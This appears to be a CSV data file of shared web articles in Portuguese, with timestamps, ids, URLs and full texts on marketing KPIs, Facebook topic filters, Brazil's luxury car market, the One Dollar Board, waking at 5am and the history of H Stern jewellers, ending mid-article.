1464692338,CONTENT SHARED,8872925201254666834,3609194402293569455,4752652671493723871,,,,HTML,http://saiadolugar.com.br/marketing/kpis/,KPIs: por que eles são essenciais para medir o seu sucesso?,"Se você faz parte do time de estratégia de um negócio, muito provavelmente já ouviu falar na sigla KPI. Trata-se de uma ferramenta que possibilita que os gestores comuniquem o desenvolvimento da empresa aos seus subordinados, quantificando o desempenho e atividade dos funcionários. KPI é o mesmo que métrica? Os KPIs agem através das métricas brutas. Enquanto as métricas fornecem dados fechados como origem do tráfego, visitantes por sessão e taxa de rejeição, os KPIs são trabalhos realizados em cima das métricas. Os valores do KPI podem ser expressos de forma numérica ou percentual. Se estamos falando a taxa de rejeição do blog, o valor será expresso em percentual. Já o ticket médio por clientes será expresso em uma média de valores monetários. Exemplos de KPIs Quando falamos de sucesso em uma empresa ou estratégia, logo nos vem a seguinte pergunta: como mensurar os resultados? Existem várias maneiras de fazer isso, utilizando indicadores de produtividade, qualidade, capacidade, entre outros. De forma prática, se o gestor quer medir a capacidade de resposta de um processo operacional, ele vai se respaldar em indicadores de capacidade. Da mesma forma, se o objetivo é saber se a empresa está cumprindo com os objetivos traçados, os KPIs podem apresentar um comparativo entre o cenário atual e o cenário ideal, através dos indicadores estratégicos. É importante ressaltar que os KPIs devem ser escolhidos de maneira relevante para seu negócio. Bons indicadores permitem, por exemplo, entender a dinâmica de vendas da empresa. O Indicador-chave do ticket médio do vendedor vai te mostrar qual funcionário está avançado em suas metas. KPIs que não podem ficar de fora Se você jé está por dentro do , com certeza vai precisar de alguns indicadores-chave específicos para estruturar sua estratégia. Tráfego orgânico: aqueles visitantes que chegam de forma autônoma no seu site são incluídos no tráfego orgânico. Isso significa que eles não clicaram em um anúncio pago no Google ou Facebook para te encontrar. Já dá para ver que a saúde de seu site ou blog está boa! Escolhendo um KPI principal Isso acontece porque esses indicadores não são concretos e não traduzem em nada o real objetivo da sua empresa. Esse fator também diz respeito às escolhas inteligentes. As interações em redes sociais muitas vezes não servem para nos direcionar aos resultados importantes. O KPI principal precisa ser embasado em escolhas que mostram boas trilhas para seu negócio. Por último, mas não menos importante, o KPI principal precisa não só ser de dados a serem analisados com frequência como devem ter o acompanhamento constante para auxiliar na tomada de decisões . KPIs primários Sejam valores absolutos como receita total e receita por cliente, quantidade de visitantes e conversões, estamos falando de indicadores primários. KPIs secundários Os gestores tem mais tempo e disponibilidade para estudar desdobramentos dos KPIs principais. Em exemplos práticos, temos o número de subscribers de um blog, visitantes que estão retornando à página, tipo de tráfego, entre outros. Os KPIs secundários podem dizer, por exemplo, se o seu e-commerce está tendo sucesso e ampliando na rede! Até mesmo quais produtos tem mais procura, através do bounce rate, ou desistências por página. Outro dado importante é o tempo gasto por visitante no seu site. Afinal, o algoritmo do Google usa essa métrica na hora de elaborar o ranking de resultados. Escolha um KPI SMART! Que um KPI precisa ser inteligente, a gente já sabe. Mas o que exatamente é a construção SMART? Atingível: o objetivo deve ser realista, mesmo que desafiador! Temporal: estipular um prazo hábil é fundamental para se obter sucesso na escolha do KPI principal. KPIs e o Marketing Digital O controle absoluto do seu negócio é fundamental para identificar gargalos no funil de vendas . Se você percebe que seu site não está gerando , ou seja, que a taxa de conversão está baixa, está na hora de pensar em estratégias específicas. Ao tomar uma posição ativa na prospecção de pessoas, o Marketing de Conteúdo e o Marketing Digital favorecem relacionamentos duradouros e sintonizados com objetivos e metas. Todas essas perguntas podem ser respondidas a partir dos KPIs! KPI no Excel e WordPress Se você já está familiarizado com todas as informações acima, provavelmente já ouviu falar do termo dashboard, referindo-se ao Excel. Muitos gestores utilizam essa ferramenta para gerenciar seus indicadores-chave e controlar todos os resultados. Por ser um software com tempo de mercado e referência do tipo, o Excel ainda é o preferido quando pensamos em planilhas e controle se números e dados. O mercado já disponibiliza alguns aplicativos automatizados para traduzir em gráficos e imagens os dados obtidos pelos KPIs. Assim, fica mais fácil visualizar o caminho até a meta traçada e produzir um relatório completo. Apesar de ser uma ferramenta muito utilizada, o Excel não é a única! Para aqueles gestores que utilizam blogs na sua estratégia de marketing de conteúdo, alguns desenvolvedores criaram plugins que integram ferramentas como o Analytics do Google e Facebook no próprio painel de controle da plataforma . Se ainda restam dúvidas quanto a aplicação de KPIs em blogs, não deixe de ler o Guia completo do Google Analytcs ! Vale a pena investir tempo nessa ferramenta gratuita e que ajuda tantos gestores. Não deixe de acompanhar o blog Saia do Lugar para mais dicas para o seu empreendimento. Se você gostou da nossa explicação, curta e compartilhe nas redes sociais e deixe seus comentários com dúvidas, sugestões e ideias!",pt
1464692519,CONTENT SHARED,-7322744040992592407,3609194402293569455,4752652671493723871,,,,HTML,https://www.mundodomarketing.com.br/index.php/ultimas-noticias/36278/facebook-testa-dividir-conteudos-da-rede-por-temas.html,Facebook testa dividir conteúdos da rede por temas,"O Facebook está testando um novo recurso que permite que o usuário escolha os tópicos de seus interesses, excluindo e adicionando os filtros que deseja encontrar em sua timeline. Dentro dos assuntos maiores será possível encontrar conteúdos com uma busca ainda mais refinada. No item Animais e Pets, por exemplo, o usuário poderá filtrar o que deseja ver respondendo a perguntas como ""Quais seus animais preferidos?"". No teste inicial, os usuários perceberam conteúdos relacionados ao tema, mesmo aqueles oriundos de páginas que eles não curtiam, incluindo publicações de amigos, posts de amigos dos seus amigos e conteúdos de perfis públicos e páginas relevantes sobre o tema. A novidade ainda não tem data para ser disponibilizada oficialmente.",pt
1464692884,CONTENT SHARED,-321691855821364131,3609194402293569455,4752652671493723871,,,,HTML,http://epocanegocios.globo.com/Economia/noticia/2016/05/carros-de-luxo-em-alta-mas-o-alerta-esta-aceso.html,"Carros de luxo em alta, mas o alerta está aceso","O mercado automobilístico no Brasil está longe de viver o seu melhor momento. Pelo terceiro ano consecutivo o setor amargou uma queda no número de emplacamentos, despencando de mais de 3,8 milhões de unidades em 2012 para 2,56 milhões em 2015. Mas um segmento, ainda que responda por menos de 3% das vendas, se destaca por apresentar gráficos com uma tendência totalmente oposta. As marcas de luxo, cujo portfólio possui produtos com preços acima dos 100 mil reais, em 2012 emplacaram 48 146 unidades, número que, no fechamento de 2015, saltou para 67 927. De acordo com Milad Kalume Neto, gerente de desenvolvimento de negócios da Jato Dynamics, consultoria especializada no mercado automotivo, trata-se de uma volta por cima desse segmento, que foi bastante afetado quando houve a mudança nas regras do IPI. ""O mercado premium vinha em ascendente crescimento quando no final de 2011 o governo alterou as alíquotas de IPI para veículos importados de fora do Mercosul"", explica, citando que, de 2010 para 2011, esse segmento tinha registrado um aumento de 31,1 mil para 47,1 unidades. ""De início, foi necessário uma adaptação, passando, por exemplo, a oferecer um leque de opções mais enxuto, diminuindo sensivelmente a disponibilidade de versões por modelo"". As vendas do segmento Premium caíram bastante em 2012 e as principais marcas no País se viram praticamente obrigadas a aderir aos termos do Inovar Auto. Audi, BMW, Mercedes-Benz e Jaguar Land Rover decidiram então pela instalação de fábricas aqui no País para, assim, conseguir ampliar o volume de suas cotas de importação - o excedente é sobretaxado em 30%. Desde então, os números nas vendas só cresceram. Crise x resultados Diante do compasso de redução do ritmo do setor automobilístico como um todo em meio à crise político-econômica, a boa performance desse segmento pode ser explicada por uma conjunção de fatores. A primeira, fazendo uma avaliação mais ampla é o crescimento da Classe A brasileira. No entanto, Kalume Neto, isso não quer dizer que o segmento é imune à crise. ""Note que o segmento cresce em participação de mercado, como tendência efetiva observada nos últimos anos, mas cresce menos em vendas absolutas, fruto da crise atual que derrubou o mercado."" Outra questão abordada pelo executivo da Jato Dynamics é relacionado à oferta de produtos no mercado. ""Algumas marcas premium passaram a disputar uma faixa de mercado que tinha, até então, poucos competidores no Brasil, o segmento Upper Medium"", analisa Kalume Neto. Por exemplo, o tradicional consumidor de modelos como VW Jetta, Honda Civic ou Toyota Corolla em suas versões mais caras passou a ter opções de marcas como Audi, BMW e Mercedes-Benz. A atual líder desse segmento, a Audi - que saltou de 14,24% do mercado em 2012 (com 4 960 emplacamentos) para 25,82% em 2015 (17 541) - tem como seus modelos mais vendidos exatamente os mais acessíveis: as linhas A3 (custa a partir de R$ 106 mil) e o Q3 (SUV que parte de R$ 136 mil), exatamente os dois que estão sendo produzidos na fábrica brasileira, localizada em São José dos Pinhais (PR). ""A liderança é uma conquista significativa, sem dúvida, mas é importante ressaltar que nosso trabalho é voltado para garantir a sustentabilidade do negócio a longo prazo"", diz Jörg Hofmann, presidente e CEO da Audi do Brasil. ""Os nossos resultados são reflexo de uma estratégia que criamos ainda em 2013. Nos últimos dois anos, investimos R$ 500 milhões em nossa linha de produção, R$ 200 milhões na expansão de nossa rede de concessionárias e R$ 12 milhões em pós-vendas."" Outro fator importante é apontado por Ivair Berntz, sócio-líder para o setor automotivo da consultoria Delloite no Brasil. ""Esse público que adquire carros acima da faixa dos 100 mil reais tem mais estabilidade e é muito menos dependente da oferta de crédito. E, nesses últimos anos, está tendo condições de realizar antigos sonhos de consumo"". Avaliação parecida faz o diretor de vendas da BMW do Brasil, Martin Fritsches. ""O segmento premium possui uma dinâmica que ainda é um pouco diferente do mercado regular de automóveis. Há um mercado potencial para veículos premium muito relevante no Brasil, cuja expansão se iniciou muito recentemente, o que gera oportunidades."" Fonte: Jato Dynamics Na fábrica de Araquari (SC), a BMW produz os modelos Série 3 (sedã que é, disparado, o seu modelo mais vendido, com 7418 unidades), Série 1, X1, X3 e MINI Countryman. E, recentemente, anunciou que 10 mil unidades do seu SUV de entrada, o X1, serão exportados. ""Nos últimos meses, identificamos uma demanda importante por esse modelo nos Estados Unidos, cujo volume poderia ser atendido pela fábrica de Araquari, por isso estruturamos o projeto recém-anunciado de exportação"", explicou o executivo, destacando a importância da estratégia da flexibilidade de produção implementada globalmente. ""Isso significa que é plenamente viável incluir novos modelos na nossa linha em Araquari,"" Longo prazo Mas a atual indefinição político-econômica faz com que mesmo esse segmento, que obteve resultados bastante positivos em 2015, também sinta seus efeitos. Benrntz, da Delloite, diz que o sinal de alerta já está aceso mesmo nesse mercado. ""A crise já está chegou também na classe média-alta brasileira"". Holger Marquardt, diretor geral de Automóveis da Mercedes-Benz para a América Latina e Caribe, faz avaliação na mesma linha. ""O cenário político-econômico desafiador do Brasil também está afetando o desenvolvimento do mercado de automóveis premium nesse momento"", diz. ""A retomada da estabilidade econômica é essencial para que possamos nos manter em um patamar saudável de crescimento."" A Mercedes disputou a liderança do mercado, em 2015, palmo a palmo com a Audi, fechando o ano na segunda colocação com 17 514 unidades vendidas - apenas 27 carros comercializados a menos. A fábrica de automóveis da Mercedes, localizada no interior paulista, na cidade de Iracemápolis, já produz o modelo mais vendido da marca, o sedã Classe C (7809 unidades em 2015). No segundo semestre de 2016 está previsto o início da produção do SUV compacto GLA. Ainda para Marquardt, a expectativa é de que o patamar de vendas de 2015 do segmento premium seja mantido este ano. ""Mas o Brasil continua sendo um mercado muito estratégico para o Grupo Daimler e nossa expectativa é de que se recupere em longo prazo e volte a atingir novos recordes de venda"", pondera. ""No entanto, isso tudo está relacionado também às variações econômicas e do câmbio"". A questão cambial também é considerada essencial por Hofmann, da Audi, uma vez que praticamente inviabiliza a empresa de operar no azul. ""Enquanto o câmbio não voltar ao patamar de um ano atrás, não será possível ter uma operação rentável"", afirma. Berntz, da Delloite, alerta que muitos modelos que estão sendo renovados já chegaram sofrendo reajustes - como o caso da nova geração do Audi A4, cuja versão de entrada custa R$ 160 mil, 10 mil acima da geração anterior. ""Muitas marcas conseguiram segurar os preços em função de estoques. Para modelos novos, fica difícil segurar."" Otimismo Apesar do volume de vendas um pouco mais modesto que o trio alemão, com 8 815 carros vendidos em 2015, o grupo Jaguar Land Rover foi outro a abraçar o Inovar-Auto. Sua fábrica, que será a primeira unidade 100% Jaguar Land Rover fora do Reino Unido, está localizada em Itatiaia (RJ) e a produção dos SUVs Range Rover Evoque e Discovery Sport terá início ainda este ano. ""Hoje no Brasil o percentual de representatividade das marcas de luxo está em torno de 2 a 3% do total de veículos vendidos no país, sendo que em mercados mais maduros, o segmento de automóveis premium pode representar até 10% do mercado total"", analisa Ruben Barbosa, diretor de vendas da Jaguar Land Rover para a América Latina e Caribe. ""As estatísticas indicam que a indústria automotiva total brasileira pode alcançar, até 2025, cerca de cinco milhões de veículos. O segmento premium também deve acompanhar este crescimento. Os próximos 12 a 18 meses serão desafiadores, mas acreditamos no potencial do mercado no médio - longo prazo"". O crescimento do mercado de carros de luxo acabou atraindo até mesmo quem não se dispôs a construir uma fábrica para poder ampliar as cotas de importação, como é o caso da Porsche. A marca, que até o ano passado vendia seus modelos esportivos de luxo através de um importador oficial, estabeleceu uma operação oficial. ""A decisão de abrir uma subsidiária no Brasil foi feita alguns anos atrás, quando o País estava em uma situação muito mais estável. Mas não há nenhum tipo de arrependimento da nossa parte"", garante Matthias Brück, Diretor Presidente da Porsche Brasil. ""Nós, incluindo a matriz, acreditamos que o mercado brasileiro, especialmente a médio e longo prazo, ainda terá muito potencial de crescimento para nossa marca assim que o cenário político-econômico se acalmar."" Kalume Neto, da Jato Dynamics, corrobora as avaliações dos executivos da Jaguar Land Rover e da Porsche. ""São muitos os fatores envolvidos, mas nós da Jato destacamos que potencialmente haverá crescimento"", diz. ""Ao ponderarmos que 3 grandes fábricas venderão veículos para atender num primeiro momento o mercado brasileiro e depois a América do Sul, esperamos, de forma otimista, um crescimento mínimo de 2% nos próximos 4 ou 5 anos quando serão atingidos entre 4 e 4,5% do total das vendas de veículos no Brasil."" Sinal amarelo Apesar do otimismo a médio e longo prazo, o alerta já está ligado no setor há algum tempo. Mesmo dentre as marcas Premium, a Porsche e a Jaguar foram as únicas que, de acordo com os dados divulgados pela Anfavea (Associação Nacional dos Fabricantes de Veículos Automotores) e Abeifa (Associação Brasileira das Empresas Importadoras de Veículos Automotores) no início de maio, conseguiram crescer no primeiro quadrimestre de 2016 em relação ao mesmo período de 2015. A marca inglesa, do mesmo grupo da Land Rover, subiu de 130 para 223 unidades, um crescimento de 71,5% - fruto do grande sucesso do sedã XE, que representa cerca de 80% das vendas. Já a Porsche foi de 208 para 236 emplacamentos, aumento de 13,5% - tendo como o seu campeão de vendas o SUV Macan. As duas marcas, no entanto, já superaram as suas cotas de importação, o que, evidentemente, reduz a rentabilidade do sucesso nas vendas. Berntz, da Delloite, tem reservas quanto ao programa Inovar Auto. ""Evidentemente é interessante trazer marcas que não estavam instaladas aqui no Brasil, mas todas que vieram tem um baixo volume de produção, entre 10 e 20 mil unidades. Não há ganhos de escala, nem impacto no setor de autopeças"", afirma. ""Além disso, o incentivo econômico é que motivou a sua vinda. Falta incentivo técnico, como por exemplo a padronização técnica no Mercosul para determinados sistemas e um programa de reciclagem de carros antigos.""",pt
1464693171,CONTENT SHARED,1441248639512899483,3609194402293569455,4752652671493723871,,,,HTML,http://www.diolinux.com.br/2016/05/one-dollar-board-um-projeto-brasileiro.html,One Dollar Board: Um projeto brasileiro para revolucionar a educação,"Com o objetivo de popularizar o acesso inicial a Internet das coisas (IoT) e robótica para crianças e adultos de países em desenvolvimento evitando o analfabetismo tecnológico, surgiu a One Dollar Board. Uma placa para entrar no mundo da eletrônica e da programação, compatível com o popular software livre e gratuito IDE Arduino, acompanhada de um manual de instruções impresso nela mesma (on-board). Criada para fazer parte da lista básica de materiais escolares de crianças, a One Dollar Board tem o propósito de fazer a criança sair da escola já sabendo programar, assim como aprende os conteúdos básicos, matemática, gramatica, geografia, etc Com o objetivo de incentivar a programação de hardware, você que é palestrante, programador, professor, gosta de robótica e quer fazer seu amigo interessar-se por eletrônica e iniciar-se na Internet das Coisas (IoT). Agora você pode presenteá-lo sem precisar gastar muito e iniciá-lo facilmente neste universo. Se você quer gerar um impacto na vida das pessoas presenteando-as ou quer realizar uma doação, o investimento será menor comparado com os resultados efetivos. O One Dollar Board será comercializada com um preço acessível para qualquer pessoa do mundo, tendo como foco principal os países em desenvolvimento. Ela contém o básico para iniciar projetos e ser funcional. O que você faria com um Dólar? O que você faria com 1 Dólar? Quer uma dica? Por quê não se aventurar e descobrir a programação de uma maneira mais lúdica, tendo possibilidades de trabalhar com robótica e Internet das coisas? A One Dollar Board nasceu para ser livre, o que permite aumentar seu impacto na sociedade possibilitando à qualquer pessoa modificar a versão original ou melhorar para outras aplicações comerciais ou não comercias. Ela possui licença Open Source Hardware O projeto ainda está buscando apoio financeiro para realizar seus objetivos, você pode colaborar e ver mais detalhes da campanha na página da One Dollar Board no IndieGOGO. O projeto nasceu nas Campus Party 2015 de São Paulo através das mãos de Claudio Olmedo. Curtiu a ideia? Então apoie o projeto e compartilhe as informações para que mais pessoas possam saber desta iniciativa. Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.",pt
1464696045,CONTENT SHARED,4161491675236615151,8164031568920151381,-6342551993833286366,,,,HTML,http://tudopelaarte.com/7-motivos-pra-acordar-5-da-manha/,7 motivos para você acordar às 5 da manhã - Tudo Pela Arte,"Já ouviu falar do 5am club? Sabe quão poderoso é o intervalo das 5 às 8 da manhã? Poucas pessoas estão dispostas a acordar às 5 da manhã por escolha própria, mas é exatamente isso que fazem as pessoas mais bem sucedidas do mundo, a turma do 5am club, os ""high achievers"". Só para te dar um ideia...Tim Cook (CEO da Apple), Richard Branson (da Virgin), Robert Iger (da Disney), Howard Schultz (do Starbucks) e Benjamin Franklin são alguns dos adeptos. Eu nunca fui uma pessoa noturna, mas quando era pequena queria ser... queria conseguir ficar acordada até tarde com meu irmão, que era o oposto de mim. Muitas tentativas em vão... Quando fui morar com o Gabriel que, na época, tinha horários malucos por conta do poker, comecei de fato estender a noite e encurtar as manhãs. Depois, quando não tinha mais faculdade e com a rotina empreendedora, achei que seria de uma vez por todas seduzida pelos hábitos noturnos. Mas definitivamente não. E na verdade, justamente pela visão empreendedora. Agora que meu foco era mais performance e produtividade percebi que o ideal era o oposto, esquecer a madrugada e estender minhas manhãs . Então, recentemente voltei a me condicionar para acordar (muito) cedo. Comecei 2016 decidida a fazer parte do clube das 5 da manhã! Por que? Vou te contar o que me fez aderir à ideia... 1 - A vantagem psicológica de já estar na ativa quando a maioria das pessoas ainda está sonhando Se esse fosse o único motivo, para mim já bastaria. Tem uma expressão muito comum no inglês que define bem isso, ""head start"". A ideia é simples: quando você acorda e 99% das pessoas ainda estão dormindo você começa o dia com vantagem e sua força de vontade atinge o nível máximo . A preguiça simplesmente deixa de existir. Quando todo mundo der a partida você já vai estar lá na frente, tranquilão... Pensa, quantos dias você acorda já com a sensação de que está atrasado? É como começar o dia com o pé esquerdo... só que isso deixa de ser um problema quando você acorda muito cedo. Enfim, começar o dia bem e em vantagem já é meio caminho andando para vencer a batalha, e isso é indiscutível. Por ser um fator psicológico você pode não considerar suficiente, mas é ele que cria e potencializa o 2 e o 3. 2 - Você começa o dia preparado Não é apenas começar o dia antes, é começar do jeito certo. Se você ainda não tem um ritual matinal recomendo que coloque isso nas suas prioridades o quanto antes. Você tem que tratar todos os dias da sua vida como um evento. Assim como você se prepara para uma maratona, um encontro, uma reunião importante, você tem que se preparar para tudo, inclusive para começar o dia da melhor forma possível. Isso significa estar com suas prioridades estabelecidas e bem psicológica, física e energeticamente. Ou seja, a ideia é começar o dia com vantagem dupla, porque começou antes e porque começou preparado. E isso age diretamente sobre o terceiro motivo... 3 - Potencializa sua produtividade Por dois motivos: Primeiro porque se você começou seu dia sem pressa e com seu planejamento feito, você pode se dar ao luxo de começar pelas tarefas mais importantes , e não pelas urgentes (que vão chegar até você quando o mundo acordar). O que é importante gera não só mais resultados, mas também a sensação de eficiência, competência e realização. Tudo que é urgente suga energia, gera cansaço mental, e muitas vezes nem traz retorno significativo. Por isso, quanto menos você agir nesse estado de urgência melhor para você e para os seus resultados. E segundo porque quando você se prepara e se planeja você começa o dia focado nas suas coisas e não fica vulnerável (ou dependente) a agenda dos outros. Você cria o cenário perfeito para começar o dia no modo ação e não no reação, e esse é um ponto chave para sua produtividade. Dica: Se você conseguir dedicar as duas primeiras horas do seu dia para VOCÊ sua produtividade vai dar um salto impressionante. Coloca o celular no modo avião, nem pense em ligar a TV ou o rádio para saber das notícias. Se permita esse tempo... faça coisas que te dão prazer, que trazem conhecimento e pode, planeje-se e conecte-se, isso é poderoso. 4 - Te permite aproveitar melhor a paz e o silêncio O período da manhã cria o ambiente perfeito para você trabalhar ou estudar em paz e em silêncio. Não é apenas o silêncio do ambiente e o privilégio de não ser interrompido ou desfocado por nada, mas também a quietude mental. Logo que você acorda sua mente está calma, clara, livre, e a medida que os estímulos externos vão chegando ela vai se poluindo, desfocando. Quanto mais você conseguir aproveitar da sua mente nesse estado, melhor para você... mais produtividade, mais insights, mais controle (emocional e de energia) para o resto do dia. Estamos vivendo num rirtmo cada vez mais acelerado, tudo muito dinâmico e imediatista e, portanto, fica cada vez mais difícil manter (ou conquistar) esse momento próprio, em silêncio e produtivo. Por isso, acredite, essas primeiras horas do dia são muito valiosas. 5 - Você vai ser mais feliz Um estudo publicado na NCBI - National Center for Biotechnology Information - mostrou que pessoas com hábitos noturnos são 3 vezes mais propensas a ter depressão comparadas àquelas que são ""do dia"". De acordo com as pesquisas quem dorme e acorda tarde tende a ter mais pensamentos negativos e preocupações. Uma vez que você acordou tarde você não tem como recuperar o tempo que já perdeu, e isso gera a sensação de que está menos no controle da sua vida do que gostaria. Aí acarreta coisas já citadas: estar sempre com pressa, sem planejamento, sem ter tempo para se programar e entrar no estado de espírito certo para cada momento. Segundo esse estudo isso gera uma baixa na auto confiança e a pessoa vai dormir sem a sensação de dever comprido, sem o sentimento de satisfação, o que obviamente abala a busca diaria pela felicidade, que já comentei nesse outro post . Enfim, como a forma como você inicia seu dia sempre influencia como ele vai prosseguir, o efeito bola de neve vai depender de como ele começou. E os estudos mostram que quem acorda cedo consegue potencializar seu desempenho ao longo dia, o que gera mais satisfação na hora de dormir, mais motivação para fazer o mesmo no dia seguinte e mais felicidade de modo geral. Isso significa que se você dorme e acorda tarde você vai ser infeliz e depressivo? Obviamente não. Significa apenas que pode fluir melhor e ficar mais leve se você se adaptar a novos horários. 6 - É mais saudável Você se exercita de manhã ou de noite? É bem comum ver pessoas que até começam uma rotina de exercícios, mas depois desanimam porque chegam muito cansadas do trabalho e não tem mais pique. Se você não entrar para essa estática, ótimo, mas ainda assim não deixa de haver um probleminha aí: exercício a noite te deixa agitado e atrapalha a qualidade do seu sono. Especialistas dizem que se você dorme cedo e acorda cedo seu corpo entra em sintonia com o ciclo circadiano , período de um dia (24 horas) no qual se completam as atividades do ciclo biológico dos seres vivos. Controlado pelo núcleo supraquiasmático, área cerebral localizada no hipotálamo, ele é nosso relógio biológico: regula nossos padrões de sono e apetite, o estado de alerta, temperatura do corpo, ondas cerebrais, produção de vários hormônios, níveis de glicose e insulina, regeneração celular e ainda muitas outras atividades biológicas. Os principais hormônios relacionados ao sono que são afetados por esse reloginho são a melatonina (que gera sonolência e baixa a temperatura do corpo) e o cortisol. Quando funcionando corretamente a liberação de melatonina ocorre em oposição a luz do sol, e quanto mais esses hormônios funcionam corretamente mais reparador é seu sono. A solução? Fazer como os high achievers fazem ao redor do mundo: levantar (muito) cedo, antes da família acordar e de começar a rotina de trabalho, e iniciar o dia assim: em vantagem, respeitando seus ciclos biológicos e fazendo exercícios sem atrapalhar o sono (fora que assim já começa o dia com outro gás). Gosto de acordar e fazer 30 minutos de caminhada lendo um livro (quando estou na esteira) ou ouvindo um audiobook (quando estou por aí). Esse ritual faz parte das minhas manhãs e das do Gabriel há anos (das dele mais ainda), e é top porque é 3 em 1: desperta o corpo, a mente e não atrapalha o sono :). Fica aqui a sugestão! Bom, acho que se parasse por aqui você já teria muitos motivos para apostar no 5am club né. Pelo menos um teste de alguns dias/ semanas já ta dando vontade de fazer, ou não? Mas para mim agora vem a cereja do bolo, o que no fundo mais me motivou a começar isso já, sem mais desculpas ou prorrogações... 7 - É uma questão de maestria De disciplina, de organização, de estar no controle das suas tarefas, com total clareza dos seus objetivos... enfim, 100% comprometido com a sua arte . Com fazê-la cada dia mais e melhor. Tudo isso são elementos poderosos de maestria... de auto-controle, aperfeiçoamento, lapidação. É você começar a agir como um profissional e não mais como amador. É como o Gabriel sempre diz, ""quando você se importa você vira profissional"". A cada dia essa frase faz mais sentido para mim. E eu imagino que você também se importe muito com a sua arte, mais do que com qualquer outra coisa. Então está aí o maior motivo para entrar para o clube. Richard Branson , o fundador do grupo Virgin e um dos maiores empresários do mundo (seus investimentos vão da área da música e vestuário, até biocombustíveis e viagens aeroespaciais) fala que acordar ainda de madrugada é mais um sintoma de uma doença chamada paixão: ""Nós não acordamos às 5am porque temos muito trabalho para fazer, ou porque queremos falar paras pessoas quão ""hard-working"" nós somos (...) é sobre fazer tudo dando o seu máximo para o seu negócio ser bem sucedido; e se isso significa que você tem que acordar num horário incomum para a maioria, então é provável que você comece a gostar do nascer do sol"". É isso. É arte, maestria e vontade de viver todo dia no seu máximo, fazendo o máximo . É assim que eu entendo o 5am club. É muito mais do que os benefícios fisiológicos, psicológicos, ou mesmo de produtividade. Tem um significado intrínseco, único para cada um. E se você estiver pensando que isso é exagero, que é um pouco radical mais... acertou o mindset, é isso mesmo. Nenhum profissional joga leve, eles vão com tudo. E é por isso que eu digo que você deveria pelo menos tentar começar a acordar (muito) cedo todos os dias... por todos os motivos citados a cima, mas principalmente para elevar sua arte a máxima potência. Se precisar de uma ajuda tem até um App que você pode usar! E se a ideia despertou seu interesse, independente de por qual motivo, me conta aqui nos comentários. Dependendo posso fazer um outros post com dicas para como acordar cedo e se manter consistente nisso! E se já você já é uma pessoa que acorda muito cedo, conta aqui também como faz para manter isso e quais considera serem os maiores benefícios",pt
1464698238,CONTENT SHARED,5831978693732969930,3609194402293569455,4752652671493723871,,,,HTML,http://epocanegocios.globo.com/Empreendedorismo/noticia/2016/05/licoes-de-empreendedorismo-da-h-stern.html,As lições de empreendedorismo da H Stern,"H Stern (Foto: Andrew Toth/ Getty Images for Assouline) ""Não existe semigrávida"". Era assim que Hans Stern, fundador da joalheria H Stern , costumava despachar os argumentos de que as pedras brasileiras eram semipreciosas, menos dignas de crédito do que um rubi ou diamante. O judeu alemão, que desembarcou nas areias do Rio de Janeiro fugindo do nazismo na década de 1940, ficou fascinado pelas gemas coloridas que encontrou no país. E foi com elas que construiu sua empresa, que hoje tem 280 lojas espalhadas por 32 países. Hans, que nunca gostou de dar entrevistas e sempre foi um empresário discreto, agora tem um livro contando sua história. A jornalista Consuelo Dieguez teve acesso a seus arquivos pessoais e entrevistou ex-funcionários que passaram pela H Stern em diferentes momentos para reconstruir sua trajetória. O que mais a fascinou durante a pesquisa foi descobrir que o jovem empreendedor teve sacadas de marketing inovadoras para sua época. Quando Roberto Stern, seu filho e atual presidente da empresa, convidou Consuelo para escrever o livro, a ideia era fazer um material exclusivo para a família no momento em que a H Stern completaria 70 anos. A família, no entanto, concordou que a biografia se tornasse pública após interesse da editora Record em lançar a edição. Ao aceitar o convite de Roberto Stern, Consuelo Dieguez não imaginava o ""tesouro"" que encontraria em meio aos arquivos. ""Comecei a abrir umas caixas em que ninguém mexia, comecei a ver as fotos... Mas aí encontrei também cartas que ele escrevia para os amigos. E um caderno de anotações, que não era um diário, mas em que contava detalhes de sua vida. Aí eu fiquei maluca"", conta a jornalista. A família de Hans Stern decidiu fugir da Alemanha após o episódio que ficou conhecido como Noite dos Cristais, em 1938, quando casas e lojas de famílias judias foram atacadas. A oficina de Kurt, pai de Hans, ficou completamente destruída. A família se considerava bem integrada na sociedade alemã, mas percebeu que seria melhor partir naquele momento. O Rio de Janeiro foi escolhido como destino porque um primo de Kurt já morava na cidade. O momento da chegada à Baía de Guanabara é registrado por Hans, então com 16 anos: ""Ao longe, a estátua do Cristo de dezesseis metros, erguida no maior rochedo, cumprimenta de braços abertos os visitantes. E, ao aparecer o símbolo do Rio, o Pão de Açúcar, sabia que não demoraria muito e eu seria um homem livre, uma emoção que não pode ser compartilhada depois de tudo que sofri"". Após se estabelecer, Hans trabalhou em um armazém, uma casa filatélica (de selos) e em uma empresa de exportação de cristais de rocha e pedras de cor. Em 1945, aos 22 anos, ele vendeu o acordeão que havia trazido da Alemanha e, com o dinheiro, deu início ao seu próprio negócio de comercialização de pedras. Para atrair a atenção do mercado local, Hans e sua equipe colocaram em prática várias ideias inovadoras para a época e para o país. Garantia Antes de vender joias, Hans vendia apenas as pedras. Sua primeira grande sacada foi oferecer um certificado mundial de garantia para elas, que permitia trocá-las na Europa ou nos Estados Unidos caso apresentassem algum problema. Isso dificilmente acontecia, mas os clientes viam aquele compromisso como um diferencial, estabelecendo a autenticidade das peças e direito à manutenção. Controle de qualidade Incomodados com a falta de uniformidade das peças produzidas pelos ourives, Hans e seu pai resolveram criar uma oficina própria na qual os funcionários seguiam normas de controle de qualidade. Alguns ourives alemães, mais acostumados a seguir instruções que os brasileiros, passaram a integrar a equipe. As joias eram revistas por um examinador e destruídas, se não estivessem dentro de acordo com as diretrizes da empresa. Isso ajudou a elevar o padrão de qualidade do produto final. Fachada da H Stern em Copacabana em foto dos anos 1980 (Foto: Arquivo / Agência O Globo) Logo Hans e seu pai queriam dar à jovem empresa um aspecto de seriedade. Por isso, na hora de criar o logo no início dos anos 1950, usaram letras barrocas. Ao mesmo tempo em que dava à joalheria o aspecto de tradição, a tipologia tinha um apelo junto ao público masculino, que era quem comprava joias. O público certo A primeira loja foi aberta em 1949, no saguão de chegada de passageiros no Porto do Rio de Janeiro. Naquele momento, a Europa estava destruída por conta da Segunda Guerra e a boa parte dos turistas americanos preferia viajar para a América do Sul. Hans, ciente de que os brasileiros continuavam admirando mais os rubis e diamantes do que as pedras nacionais, apostou no público estrangeiro. Mais tarde, na inaguração do aeroporto Santos Dumont, a H Stern foi uma das primeiras lojas a fincar sua bandeira no saguão. 'Charming trip' Nos anos 1950, a H Stern já havia aberto lojas em outras cidades da América do Sul, como 